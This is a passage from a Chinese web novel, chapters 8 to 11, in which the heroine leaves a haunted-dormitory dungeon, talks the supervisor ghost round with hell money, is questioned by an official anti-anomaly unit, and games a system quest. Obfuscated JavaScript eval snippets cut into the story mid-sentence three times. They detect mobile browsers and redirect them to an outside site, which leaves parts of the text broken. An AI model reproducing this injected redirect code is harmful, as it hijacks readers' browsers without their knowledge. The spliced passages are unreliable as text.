沈炙看着手机上的时间倍感焦灼，不论早推一个小时，还是晚推一个小时，现在时间应该都到了吧……但她抬头看，晏无波毫无动静。 好吧，继续等…… 宿舍的门隔绝了一切声音，房间里的人听不见走廊的惨叫声。 即便晏无波挨个寝室提醒，让他们别轻易出门，也总有人等不及。这些人或是认为晏无波迟迟不来是已经死了，或是坚信自己的判断才是正确的。 一门之隔，宿管杀得满脸血红：“不听话的小崽子们！不是说了7点才能出宿舍吗？” “时间已经到了啊！”学生们举起手机给宿管看，“啊！怎么是六点！” 垃圾桶盖子一张一合，又是一个人塞了进去。 手机上的时间越走越快，直到中午12点，它数字一闪，又跳回了早上7点。 系统报时道：“现在是系统时间早上7点，接入诡异世界时间为早上7点，宿主，你可以出门了哦！” 和系统同时报时的，还有诡异世界的嘶哑声音： 【副本即将关闭，请所有玩家于一小时内离开宿舍楼。】 8. 第 8 章 诡异世界全副本播报，每个人都听到了。 隔音的房间门突然失去了效应，晏无波听到了外面接二连三的开门声。 沈炙捂着小肚子，急急问道：“能走了吗？” 人有三急，她都忍了一晚上了，再等就憋不住了！！！ 得到晏无波的同意，她手脚并用地爬下床，拉着晏无波急吼吼冲下楼。 出乎两人预料，比她们还提前到宿舍门口的十几个人并没有出副本，而是聚在一起，像在等晏无波出现。 他们脸上的表情犹疑不定，明明离出副本只有一步之遥，也不敢有所动作。 晏无波没招呼他们，让沈炙先出去。她之前不知道这个副本到时间了还会通报，还和其他人说等她消息。所以她现在得回去，看看还有没有人窝在寝室。 让沈炙的先出去的话一说出口，这些聚集的人里立刻有几个人的眼神微妙起来。 一个比晏无波矮半个头的瘦弱男生嘟囔道：“看，我没说错吧？哪有那么多好心，这不就是把我们当炮灰，让我们替她探路么？要不她怎么不先走？” 他的声音不大，却在寂静的副本中清晰地传入每个人的耳朵里。 有的人不赞同，但胆子小的仍不敢出去。有的人则陷入怀疑之中，离宿舍门口走远了几步。 晏无波不想给自己辩解，她没有带领众人闯副本的责任感，他们不想走那就等到八点全死这儿好了。 沈炙忍不了，晏无波冒着风险挨个寝室提醒，缩头乌龟张什么嘴，她指着那男生就骂；“烂狗腚放什么狗屁！” 如果不是还有点素质，沈炙真想直接拉他脸上。 她着急出去上厕所，也着急给晏无波证明，朗声道：“滚一边儿去，你们不走别耽误我走！” 说罢，沈炙对晏无波点了下头，捂着肚子匆匆踏出寝室楼大门。 沈炙的身影刹那间消失，与此同时，诡异系统的提示再次在副本内玩家脑海中响起： 【副本通报：恭喜玩家沈炙，首个通关E级副本“怨念宿舍”，获得额外奖励“经验值+100，自由属性点+1，普通道具盒子*1”。】 首通奖励？还有这种好东西？！ 听到提示音，瘦弱男瞬间变脸，扒拉着其他同学就要往外冲，心里悔得要滴血。 他是第一个冲下来，明明这个首通奖励是他的！ 离他更近的同学反应也很快，几乎是横扑到门口。 做不了第一个，那就做第二个、第三个，说不定也有奖励呢？ 聚集在走廊的人疯了一样往前冲，不管愿意走还是不愿意走，都被人流裹挟着往门口涌动。 楼上陆续下来人，大多数人看见晏无波都跟她打招呼。 在学妹寝室里帮晏无波说话女生走过来，满脸感激地说道：“学姐，你要留下来找其他人？我也来帮忙吧！” “不用。”晏无波摇了摇头，“你们先出去，我自己可以。” “我的技能是防护罩，还没使用，可以帮你挡一次伤害……” “没事。”晏无波拍了拍她的后背，轻轻把她往门口推：“我现在用不到这个。” 还有几个人毛遂自荐，都被晏无波打发走了。 她们恋恋不舍的一步三回头，在晏无波的催促下离开副本。 人群散开，连内裤都丢掉的男生捂着屁股，从后面慢腾腾出来，满脸通红地说道：“我出来的时候把男寝都看过了，你去看女寝就行了。” 晏无波把头转到一边，“好的。” “谢谢，出去以后请你吃饭。” 说完，他在门前深呼吸了好几口，做足了社死的心理准备才踏出副本。 要求一个小时内离开副本，晏无波让系统记着时间，快速过了一遍女寝。把最后一个活着的学生送出去后，她敲响了宿管房间的门。 宿管的房间和现实生活的宿管房间没两样，只是她的玻璃是单向的，从外面看不见她的房间，从她的房间却能看到门口。 也就是说，刚才门口的闹剧她也全部看在眼里。 “怎么还不走？时间不多了。”宿管坐在单向玻璃前，手里握着她的工作证，看起来非常不爽。 晏无波见了几次对方的变脸绝技，很难对她的臭脸生出畏惧。 嘘寒问暖，不如打笔巨款。 她甩出五张冥币摆在宿管面前，佯装关心道：“阿姨，怎么不开心？发生什么事了？” 宿管还是那个爱冥币的宿管，大牙呲掉了好几个，叮铃当啷落在桌上。 但把牙齿挨个按回去之后，她又惆怅起来：“阿姨要是天天能遇到你这样的好孩子就好了，可惜啊……八点后，这间宿舍就会改建成公寓。新老板嫌我级别低，阿姨我啊，要失业了……” 晏无波疑惑皱眉。 副本也会改建？ 想到自己在现实世界中也失业了，晏无波心头掠过一丝异样。 诡异世界和现实世界，在某些程度上还挺共通的…… 这个副本在学校里，按照现在的情况，学校没有多余的钱和人力另建校园，以后她们大概率还要继续在这片地方上课。与其让不熟悉的公寓和另外派来的更高级的诡异驻扎，不如想办法让宿管留下。 这只诡死认钱，还是比较好拿捏的。 心里的想法大逆不道，晏无波嘴上可恭敬了，义愤填膺道：“阿姨，您可是老员工了，老员工的经验怎么能用等级衡量。新来的小年轻等级高又怎么样，他们分得清那把钥匙开哪扇门吗？” 这话说到宿管心里去了，她一拍桌子，也跟着抱怨起来：“就是，他们懂个屁管理！就知道拿钱买地买诡！” “阿姨，您还是得想办法亲自上，不能把这地方拱手让人。” 晏无波心里让系统帮忙盯着时间，继续劝说：“老板这种生物，绝对不想做亏本买卖。新来的诡异等级高，但它性价比不高啊，整个儿一赔钱货。” “您不一样，你是本地人，业务熟悉不说，要价还低，性价比直接拉满。” “新老板他一时间没想明白关键，您得让他想明白。” 宿管听得一愣一愣的，眼珠子都鼓出来了，呆呆地问：“怎么主动？” 晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407688|184566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无波搓了搓手指头，“等级不够，诚意来凑。” 宿管重复了几遍她的话，那张僵硬的纸人脸上，竟浮现出一种名为“顿悟”的神情。 对啊！ 管理员又不是保安，要等级高做什么，维持公寓运营才是重要的。 一个等级高但屁都不懂的新管理员，和一个等级低但业务熟练、还懂得“孝敬”的老员工，是诡都知道怎么选！ 宿管脸上的两坨劣质腮红亮得像小灯泡，两只枯爪子直接握住晏无波，激动道：“好孩子……你真是阿姨的贵人啊！” 晏无波也像替她开心似的，欢快的笑。 两人“哈哈哈”了几声，笑容逐渐虚假。 要彰显诚意，冥币越多越好，而宿管认识的冥币最多的人就是晏无波。她假笑着，思量能从晏无波身上拿搜刮出多少钱。 晏无波看出来宿管动了杀心，她笑容不变，抽离自己的手，将两兜掏了个底朝天，又翻弄出了五百冥币。 她似是懊恼的说道：“唉，早知道能帮到阿姨，我就不带这点儿进来了，真可惜。阿姨，您等下次我来看你，再给您多带点儿。” 宿管的吞了口唾沫，都给她两千多冥币了，也叫这点儿？ 这丫头到底多有钱？！ 一想到还有大把大把的冥币自己没有得到，宿管的态度快速转变，重新和蔼可亲，“你这孩子，帮阿姨的已经够多啦！下次来看看阿姨就好，不用太破费！” 此刻她是真的打算和晏无波发展长久“友谊”，怕她下次不来，从兜里掏出一把指头长的黄铜钥匙。 “以后升级成公寓后，就改用房卡开门了。这钥匙阿姨用不上，给你当个念想吧。” 晏无波不客气接到手里。 【物品名称：被淘汰的□□】 【品质：D】 【效果：可以打开D级及以下的老式锁芯的门。】 这东西对宿管没用，对晏无波来说未必，谁知道她以后会遇上什么副本。 她将钥匙收好，真心实意的道了声谢：“谢谢阿姨。” 感谢归感谢，在她有能力暴打宿管之前，她不会进来第二遍。 晏无波与宿管你拉我扯，一人一诡眼中泪光闪烁，上演了一出感人至深的惜别大戏。 神豪系统看不惯晏无波的演技，在她脑子里一个劲儿的呕。自家宿主正常状态时说话挺简洁的，演戏的时候话怎么这么多。 演戏？话多？系统一下子想到晏无波之前哄它说“遇见它是最大的幸运”，她的话也很多…… 它尖叫道：“哇！你好过分！！！” 晏无波不懂系统又怎么了，揉了揉耳朵，和宿管挥别。 一只脚踏出大门，周围的场景如潮水般退去，清晨微凉的空气混杂着雨后的清新，涌入鼻腔。 她脸上的感动与不舍瞬间消失，只剩下一片冰冷的漠然。 “波波！”沈炙眼睛通红的扑了上来，头埋在她颈窝哭：“你怎么这么久才出来，真是吓死我了！” 晏无波耳边不止有沈炙的哭声，还有诡异系统的一连串提示音。 9. 第 9 章 两个系统的提示音很好分辨，金币碰撞的悦耳清脆声是神豪系统，与病重之人闷咳声差不多的是诡异系统。 诡异系统的通知从来不管你方便不方便，自动弹出一张面板怼在晏无波面前。 【检测到玩家已走出E级副本“怨念宿舍”】 【姓名：晏无波】 【副本评价：A+】 【通关奖励：经验值+100点。】 【等级提升至Lv3（0/300）】 【已正式启用系统，全部功能加载成功】 【因关键诡异“宿舍管理员赵红香”对该玩家好评，现将评价提升至S级，补发：经验值100点，自由属性点+1，普通道具盒子*1】 晏无波有些意外，宿管对她并非真心喜欢，临走前她还想杀了她，这也能算好评？ 话说，好评是怎么评的，诡异也有系统？ 暂时想不明白的事，晏无波果断抛在脑后。在外面她又沟通不到宿管，以后再说吧。 关掉提示，她轻轻拍着沈炙的后背安抚情绪。 神豪系统没东西可弹，嫉妒得在晏无波脑海里疯狂拉踩：“不智能的垃圾货色，连气氛都不会看。需要的时候别人自己会打开，用得着它丢人现眼？” 晏无波勾了勾嘴角，但这一幕在别人看来，是她在副本得到了不错的收益。 第一名走出来有额外道具，最后一名难道也有？ 丧失第一名奖励的瘦弱男生看见晏无波微笑，顿感刺眼，跑到其他人眼前嘀嘀咕咕：“她最后一个出来，肯定是有重要消息没告诉我们。” 黑色战斗服男人从他身后路过，听到了他的酸言酸语，开口道：“你在副本里对其他人有什么作用吗？” 男人模样年轻，大约二十多岁，身高一米九以上，体格微壮，统一款式的黑色作战服也遮不住他的宽肩窄腰。他脸部轮廓分明，鼻梁高挺，小麦色的皮肤搭上他粗黑的眉毛并不显丑，而是更显坚毅。 瘦弱男生不服气的回头，等看见对方的体格和衣服，他的脸色僵了下，不自然的回道：“我不是没有那种能力吗？我要是厉害，肯定不像她那么小气。” “知道自己是废物就闭嘴。”男人不客气道，“收到恩惠而不感恩，你这种人死在副本说不定对社会还有些贡献。” “我……我……”瘦弱男生气得脸色涨红，指着他袖子上的金标说道：“你这种的也算官方的人？你这样说话对得起你这身衣服吗？我要去网上挂你！写举报信举报！” 男人不吃他这套，他外形像经常出现在官方宣传海报的“正统”形象，但是反骨八斤重。 听到对方威胁，他把袖标扯到前面，让瘦弱男生看得更清楚，“诡异应对部门‘破晓’驻S市行动组组长，顾夜白，编号PX-2-12014。好好记，记不住就拍照，别举报错了。” “破晓”是诡异来临时，官方特别组建的一个部门。人员最先从军人和公务员里面抽选，后来也从社会招揽了许多有能力的群众。 男生一听对方还是个组长，顿时闭了嘴，鸵鸟一样把头藏到其他人身后。 其他人不乐意给他藏，推推搡搡的散开。 晏无波拍沈炙后背的时候，还在扫视周围的环境。 宿舍楼玻璃门像被人从里面泼了一大桶黑漆，看不到里面的情况。外围被拉上了警戒线，一群穿着黑色作战服、手臂上印有金色太阳徽章的官方人员，正在维持秩序。 出来的学生们看着精神状态都不太好，有的瘫坐在地起不来，有的互相抱着哭，还有的因为副本里的事情扭打成一团。不那么激动的，则七扭八歪地排着队等待官方人员登记情况。 沈炙情绪发泄完毕，抽着拉晏无波往登记区走，“我第一个出来的，他们问了我好久，估计能问你更多。” 晏无波在观察外面的情况，顾夜白也在观察她。 那名叫沈炙的女生说明情况时，提到过这个叫晏无波的高个子女生。她的三个室友，都以非常惨烈的情况在她面前死去。但即便如此，她出来的时候衣衫整齐，神态平静。 面对朋友的哭泣，她看着像很温和地安抚，实际上注意力都在观察别处。 跟其他学生的喜极而泣、恍惚、恐惧等等相比，她正常得不像个正常人。 顾夜白决定亲自为她登记。 他体格显眼，视线也毫无掩饰，晏无波很快发现了。 顾夜白笑了下，迈开长腿径直朝晏无波走去。 “晏无波同学，你好。”他声音低沉，有种让人安心的力量，“我是破晓驻本市行动组组长，顾夜白，这边需要你配合下，单独做个登记。” 晏无波点头，“好的。” 面对的是官方的人，沈炙放开了晏无波的手，指了指警戒线外的某处，“那我在那边等你。” 顾夜白没在外面询问情况，而是把她领到了一辆七座的黑色车上。 两人并列坐在第二排，两个座位并没有紧贴在一起，中间留有空间。 关上车门，外面的嘈杂声顿时消失。 顾夜白解释道：“别紧张，这车隔音不错，我猜你可能需要一个保密性强的场所，所以才带你过来。” 晏无波点头，“嗯，谢谢。” 幽静的空间不但方便谈话，也方便顾夜白去感受对方的生理波动。血液流速、心跳频率、呼吸长短……这些指标很容易反映一个人的真实想法，特别是晏无波这种没有经受过专业训练的大学生。 顾夜白装模作样地掏出一个本子，笔尖戳着纸页，问道：“你的初始天赋是什么？” 晏无波照实回答：“E级冷静，能抵御部分轻度精神污染。受天赋影响，精神力增加了10点。” 顾夜白沉默地听着，晏无波的生理波动一切正常。 他满意对方的诚实，但又不免感到可惜。 初始天赋太差了。 为了让拿到低品质初始天赋的人怀有希望，官方一直都没对外公布：初始天赋品质不高，说明这个人隐藏的“幸运值”不高。 而幸运值不高的人，在抽取道具和技能方面很不利。就算到了20级开启第二天赋，得到的大概率还是低品质天赋。 就像第一个出来的沈炙，她的初始天赋是A级隐匿，代表她的幸运值很不错。所以她即便抽取的是“E级道具95%概率”的普通道具盒子，也会从另外的5%里抽到D级道具。 而E级初始天赋的人，面前摆100个普通道具盒子，抽出来的也只会是E级道具。 顾夜白没有表现出来，继续问道：“从头说一下你在副本的遭遇吧。” “可以。”晏无波在副本里耗时间的时候已经斟酌好理由了。 直到林薇流血而产生“垃圾”为止，晏无波说的都是实话，只是把林薇伙同别人威胁她的事隐瞒了。 需要晏无波发挥想象力的是林薇的真正死因，还有袖标的获得。 “宿管被林薇身上的光灼伤，气得她在宿舍天花板上乱爬。” “她爬到我头顶的时候，袖标正好从她口袋里面掉落。我不知道那是什么，偷偷捡起后觉得有大用，就藏起来了。” “垃圾桶在宿舍门口，林薇没了脚走不快，半路光芒散掉就被宿管杀了。我等宿管走了之后，就先去看看沈炙怎么样。” 晏无波说谎不眨眼，可表情完美，本能的生理波动骗不了人。 只要晏无波对副本的信息没有撒谎，顾夜白就不打算刨根问底。官方给出来的人登记是想获得更多资料，至于谁在副本中杀了谁……他们光是维持现实世界的秩序，就已经竭尽全力了。 “宿管的零食是给你的？”顾夜白突然问道。 有几个出来的学生提到，宿管莫名其妙地恐吓他们交零食。 晏无波的心跳漏了一拍，缓缓回问：“什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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等到晏无波说自己收到“关键诡异”的好评而提升等级时，顾夜白的眉头已经拧成了一个结。即便是他，也没听说过“好评”这件事，更别提好评会提等级。 他问了很多细碎的问题，晏无波能答就答，不能答就说不知道。 问答持续到中午，晏无波悠悠打了个哈欠。 顾夜白明白从她嘴里问不出其他的了，终止了这场谈话。 他在本子上写了串电话号码，撕下递给晏无波，“感谢配合，你提供的情报非常宝贵。近期基本生活有问题的话，可以去官方救助点领取基础物资，学校这边的后续安排会在学校的官网通知。” 晏无波接过纸，客气的跟对方道别。 关上车门前，她扭头提醒道：“虽然我只进过一次副本，只见过宿管这一个诡异。不过我觉得如果想拿好评，可以从利益牵制和武力压制两方面尝试，单纯讨好……大概率没用。” 宿管看着像人一样拥有智慧和感情，但从她对待自己的方式就能看出来，她根本没有人的善面，随时翻脸动手。想让她对外友善，一是有利可图，二是它打不过。 顾夜白像是重新认识了面前的女生，郑重道：“我知道了，谢谢提醒。” “不客气，也谢谢破晓，辛苦你们了。”晏无波冲他点点头，找沈炙汇合。 沈炙身边围了一圈人，他们看见晏无波来了更热情，围着两人问七问八。 “行了行了，别在这围着了，我俩一晚上没睡，要去休息了。”沈炙像挥苍蝇一样挥手驱赶，不乐意走的她就开骂。 几分钟后，两人身边清净了，来到体育馆里面找地方睡觉。那里设置了临时安置地点，学校安排其他宿舍楼的学生志愿者铺好了被褥。 出来的学生情绪还没整理好，没进去过的学生对副本好奇，整个场馆闹哄哄的。 怕出现骚乱，场馆四周也有几名黑色战斗服的破晓队员紧盯着。 晏无波又困又饿，和沈炙在体育馆门口领了个救济粮馒头，走到空闲被褥前坐地开吃。 这时，神豪系统突然出声：“来了个限时任务。” 晏无波神情一肃，立刻打开面板。 小小的金边宝在边框上方扁扁地躺下，有气无力的道：“你看看接不接……” 10. 第 10 章 晏无波敲敲胸口，把干噎的馒头咽下去，视线落在任务栏上。 【限时狂欢任务：神豪初体验（待接取）】 【任务描述：不花钱算什么神豪。】 【任务奖励：本任务为阶段性任务，根据已消耗冥币金额实时发放奖励。】 【阶段一：接取任务后，1小时内消耗达到1000冥币，奖励“新技能*1、2000冥币”。】 【阶段二：接取任务后，8小时内消费达到10000冥币，此后12小时所消费冥币同步双倍返还。】 【阶段三：接取任务后，20小时内一次性消费10万冥币，奖励强力技能*1，诡气+1000。】 【失败惩罚：无】 【剩余接取时间：10分钟，剩余9分35秒、34秒、33秒……】 “诡气是什么？”晏无波第一次见到这个词。 神豪系统懒洋洋道：“你就当作一种高级资源，能用来解锁或提升技能等级，杀1个宿管大约能拿1000诡气。” 好吧…… 晏无波不再多想，看见任务没有失败惩罚，她直接领取任务。 仔细看完任务描述后，她算明白为什么神豪系统没精神了。 现在是下午13点51分，在晚上21点51分前，她就要完成阶段二。 晏无波在副本内一共抽到11000冥币，但她给了宿管不少，使用美瞳还花了些，手里只剩8400。 就算她不要命，1小时之内随便找个副本进去，或者不怕暴露，随便给出1000冥币完成阶段一。最后到手也不过9400，离阶段二的消费目标还差600。 更别提阶段二是“消费”而不是“消耗”，需要进行交易行为。 神豪系统对完成全部任务不抱希望，懒懒趴在边框上说道：“努努力完成阶段一，毕竟奖励个技能……” 晏无波“嗯”了声，将两个系统的面板全打开，盘腿坐在体院馆内铺的被褥上思考对策。 神豪系统是外来户，本身并非战斗类型，发放冥币、添加技能是它为了适应诡异世界做的调整。它的功能十分简要，只有包裹、技能、任务这三个。 诡异系统是批量产物，没有智能，但与当前世界和诡异世界绑定度高。除了神豪系统的功能外，还有个人属性、社交模块、线上交易等等。 两个系统的储存空间不互通，但发放的道具可以任意存放。就像冥币，它也能放进诡异系统空间里。 晏无波先把奖励的普通道具盒子开了，一条黑色腕带手表出现在诡异系统的包裹里。 【物品名称：比较准时的手表】 【品质：D】 【效果：在D+级及以下副本准时，C级以上副本有概率失灵。】 “唉。”金元宝有话说，“我就说你运气不好，有我在，这东西一点用都没有。” 晏无波也不知道怎么评价自己的运气。 好？又不太好。 她翻了翻诡异系统的交易板块，里面不但有道具、副本资料、还有看到求陪下副本的委托。除个别价格过于离谱的，货架上用花币标价的东西几乎上架秒没，大部分玩家更倾向以物换物。 想到林薇的手链，晏无波按照功能性在交易板块搜了下。唯二在货架上的道具都在C级以上，只换不卖。真要换算成花币，或许要几千万。 晏无波什么都缺，特别是花币，但拿手表全换花币又没必要。于是她挂了个匿名链接，把出价模式设置成“花币+道具”混合。 “不准卖！！！”金元宝在边框上来回打滚，“作为我的宿主，你怎么会有变卖家产的想法？太没面子了！以后我还怎么做神豪系统啊！！！” 它像个猪崽子一样在边框上横冲直撞，还幻化出火柴棍儿似的细胳膊细腿，时不时隔空飞踹诡异系统几脚，把诡异系统踹得左右晃动。 晏无波看得眼皮直跳，生怕它给诡异系统踹裂了。大庭广众之下，她又不好伸手阻拦，只好关掉神豪系统的面板。它出不来，也就没办法撒泼。 神豪系统：哼！！！(｀??)=3 系统大声嚷嚷，晏无波装没听见，开始研究属性点。 诡异系统等级从1升到3，每升一级给1个自由属性点，算上S通关多给的1个，目前共3个。 力量、敏捷、体力、智力、魅力五个数值，魅力无法用属性点增加，只能通过道具或自身训练等原因改变。 晏无波最短腿的是智力，可她不会现在就加点。初始评定的智力数值反映一个人的智商，但后天加点并不会让傻子变爱因斯坦，而是会提高玩家的精神力、对危险的感知度、以及使用精神类道具的适配程度。 新手一味的点智力，进副本后诡异还没动手，他自己就会因为对环境过于敏感而精神崩溃。 剩下的是力量、敏捷、体力。 加攻击、加速度、加血。 智力6的晏无波十分为难，决定先留着不动。 晏无波盯着系统面板，其他学生盯着晏无波，以及……她身边的沈炙。 作为第一个出来的人，沈炙也被问了很久。了解她的天赋是A级隐匿，还抽到D级道具以后，负责登记她信息的破晓队员问她要不要加入破晓。 沈炙当时没答应，说等晏无波出来以后再决定。她与其他同学一样在外边登记，听到她谈话内容的学生不少。一传十，十传百，他们都想知道这两个人的后续行动。 感觉到晏无波忙完了，沈炙在坐在她身边道：“我们在诡异系统里加个好友吧，以后方便联系。” “好。” 两人很快加上了好友，但加完好友后，沈炙在好友界面给她转了一个D级道具。 【物品名称：毛贼手套】 【品质：D】 【效果：穿戴后的1分钟内，双手触碰其他物品不会留下任何个人信息。】 【效果冷却时间：7天。】 沈炙没在现实里说话，而是通过诡异系统发消息：“首通奖励应该是你的才对，经验和属性点我没办法转你，道具你一定要收下。” 看到道具信息，说实话晏无波挺心动的。比起她抽出来的手表，这个对她来说更有用。 但晏无波偶尔也会替对她不错的人考虑，“你的天赋是什么？” 沈炙犹豫要不要说，她不是防着晏无波，而是怕晏无波知道后，就不要这个手套了。 踌躇许久，她才把天赋描述发过去：“隐匿（A）：使用时将进入15秒的完美隐身状态，期间不会被任何手段感知。冷却时间：72小时。” 是和道具十分相配的天赋，可以在搜索副本线索、偷取副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407690|184566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本道具时使用。 “你留着吧。”晏无波如沈炙所想，拒收了手套，“如果觉得不好意思，以后多请我吃饭。” “我觉得我占了太多便宜了……”沈炙瘪嘴，左脸的酒窝若隐若现，“对了，破晓想招我，你和我一起去吧？” 晏无波想都没想，直接摇头：“不，不出意外的话，我以后不会加入任何组织。”手表卖出去以后，她就搬出学校住。 发救济粮的地方又送来了一批物资，喊着没吃饱的可以再来领馒头。 救济粮是真不好吃，只有实在没钱又饿的人才会去领。 晏无波完美符合标准，她还要去拿。 沈炙不住地叹气，让她帮自己也领一个。 她想和晏无波说，没有组织的散人玩家太难生存了。可她自己都是靠晏无波才出来的，哪里有资格替晏无波做决定。 晏无波刚从副本出来，正是被人关注的时候。看到她去领完物资，又去附近的垃圾桶捡了比较干净的奶茶包装袋。其他人像是发现了新大陆，在她走后冲去垃圾桶狂扒。 “这个送你。”晏无波把纸袋杵在沈炙面前。 沈炙眉头一高一低，“啊？” 她狐疑地接过纸袋，还没等打开，又听晏无波说道：“我想用我手里的馒头换回它们。” 沈炙没有注意到晏无波的用词，她说的是“它们”，而非单个纸袋的“它”。 “哎呀你这个人。”沈炙哭笑不得，把袋子又给晏无波扔回去，笑骂道：“这时候还有心情开玩笑，心真大。” 晏无波拿回袋子，瞄了眼聚满人的场馆门口的垃圾桶，转身将纸袋扔到其他地方。 【叮！限时狂欢任务：神豪初体验阶段一已完成。】 【2000冥币已发放至背包，新技能生成中，请耐心等待……】 此时，神豪系统背包的冥币余额显示着10400，而不是正常完成任务时的9400。 金元宝从边框跳进背包里，贴着余额感慨：“这也行啊……” 晏无波捡了纸袋，将1000冥币放进袋子中送给了沈炙，达成了“消耗”项里面的捐赠行为。 但是系统以前说捐赠后反悔收回，就不算完成“消耗”。所以晏无波没有“收回”，而是以物换物，“换回”这1000冥币。 这番操作下来，她余额中的8400没有损失，又拿到奖励中的2000，达到阶段二的目标数额。 金元宝坐在格子边框晃荡它的小细腿，“这算不算卡BUG？” “也许算，你要收回奖励吗？” “不收，BUG关我屁事，奖励又不是从我小金库掏的。” 金元宝靠着余额数字，深沉道：“就是觉得，你聪明得让我好陌生……” 晏无波的心情跟过山车一样上去又下来，她借伸懒腰的假动作，一秒四个脑瓜崩儿，直接把金元宝从格子弹回边框。 智力6又不是智力0.6！ 心情还算不错的晏无波回去躺下，打算先睡两三个小时，再思考阶段二的任务怎么做。 她沉沉的睡了半个多小时，之前在副本门口叽叽歪歪的瘦弱男生愤懑地冲来，身后跟着表情同样难看的三四个人。 男生两只手臂臭烘烘的，身上也沾了不少污渍，大声喊道：“晏无波，耍人好玩吗？” 11. 第 11 章 晏无波是被沈炙和其他人的骂架声吵醒的。 比声音更扰人的是飘来的一股股酸臭味，熏得她想无视都不行。 晏无波揉了揉眉间，刚想起身，就被沈炙按住脑门压回枕头。 沈炙个子小小，脾气爆爆，“你睡，让我先骂！” 晏无波：“哦……” 发挥不了作用，她便打开诡异系统的交易面板，查看有没有人给手表出价。 没人不缺道具，每个新上架的道具都会吸引很多玩家注意。只半个多小时，就有不少人出价，不过大多人还是想贪便宜，私信晏无波询问能不能只用花币买。 私信的人里，有个人格外吸引晏无波注意。这人出价一会儿一变，从最开始的10万花币+E级道具，慢慢涨到20万花币+D级道具，现在还在不断戳她。 最开始这个人想压价，贬低手表让晏无波赶紧卖他。 【在？】 【手表等级是D，但是功能单一，不是所有副本都能用到，感觉还不如某些E级道具。】 晏无波睡觉没回复，他语气变得缓和许多。 【开个价，差不多我就拿下。】 【你心理价位是多少？想要什么类型的道具？】 又过了会儿，晏无波还是不回复，他的语气逐渐卑微。 【10万加D级防护类的怎么样？[点击查看道具详情]】 【20万加治愈类D级道具[道具详情]？】 【大佬，这价格已经溢出很多了，再多我真没有了！】 晏无波点开道具详情。 【物品名称：急救喷雾（简易版）】 【品质：D】 【效果：对目标使用后，可在3秒内恢复非致命性外伤，仅限人类世界使用。】 【备注：每十天填充1次使用次数，最多可累积3次。】 优点很明显、缺点也很明显的道具。可以连着治疗三次，但不能处理致命伤、冷却超长、还不能在副本用。 晏无波躺着看私信，在瘦弱男生眼里就是不理人。 他错失首通奖励，又被顾夜白训了一顿，丢了好大的面子。现在还被晏无波“误导”，翻了好久垃圾，心中的不忿已然达到顶点。 “晏无波你太虚伪了！”男生提高音量，声音都尖利了不少，“看上去像为大家好，实际上好东西都自己藏着，根本没把我们当自己人！” 学生们刚出副本，人心本就浮动，被他一煽动，立刻就有几个人跟着附和。 沈炙嘴皮子快翻出残影，“说什么脑瘫话，你把我当自己人？那把你的钱都给我！” 这时另一个满脸痘印的男生挤了过来，“同学们，都冷静一下。” 周凯杰，大三学生会会长，校内不少人认识。他也是从宿舍副本出来的一员，只是他在副本内表现得十分不起眼，一直龟缩着，被没穿衣服的男生提醒才敢出去，大部分学生都没注意到他也在。 这个时候他站出来，也有些挽回“面子”的意思。 “晏同学的为人不必我说大家也清楚，不管是以前还是在副本，她都乐于助人、待人友善，不是一个自私的人。只是刚出副本，她的状态还没调整好而已。”他拍了拍男生的肩膀，温声说道：“这样吧，等她休息好，由我们学生会牵头，让她给大家做一次演讲如何？” 沈炙抱臂冷笑：“傻缺东西，我看不如何！” 毕竟是学姐，还是可能加入破晓的。周凯杰选择性过滤掉沈炙的话，继续看瘦弱男生。 瘦弱男生声音低了，“做演讲行，但是她刚才扒拉垃圾桶耍人是什么意思？带偏了这么多人，总得给大家道歉吧？” 周凯杰像是偏心晏无波一样，开解道：“这可能是个误会，那我问问她，有误会大家说开了就好了。” 他回头，绕着沈炙走到晏无波床褥旁边蹲下，“无波，你先别忙，有同学找你。” 晏无波没聋，把几人的对话听完了，不出声是不想打扰沈炙发挥。 现在周凯杰真觍着脸找过来了，她头也没回地说道：“不做演讲，不道歉。脑子不好就去治，治不好就去死，别来烦我。” 周凯杰在学生会干久了，自觉与普通学生不同。 他没想到晏无波也这么不给他面子，于是他的脸色当即沉下。语气也不再温和，带着不容拒绝的压力：“晏同学，我知道你在副本里帮助了很多人，对此大家都很感激。但现在是非常时期，团结一致才有出路。有能力就有责任，能力多大责任就多大，我相信你一定明白这个道理。” “这样吧。”周凯杰似是为难，沉吟片刻才用肯定的语气说道：“我去说服其他人，让你加入到学生会，这样也更方便你行动。” 沈炙还想骂人，被晏无波抬手拦下。 她垂着头，由躺改坐，用眼角余光瞥着周凯杰和瘦弱男生。都是刚出副本的，等级差不到哪去。超出1万的那400冥币零头，够她看这些人40分钟。金色双目一闪而过，时间短到就算注意到的人也以为是阳光不经意的照射。 【周凯杰，Lv2，天赋：坚韧（E），力量7，敏捷5……】 【王豪，Lv2，天赋：说服（D），力量3，敏捷6……】 天赋没战斗力，属性值也不如晏无波。 瘦弱男生，也就是王豪，还在跳脚：“看她那满脸不乐意的样！她就是个假好人，拿点不重要的东西施舍我们就想让我们给她捧臭脚！” 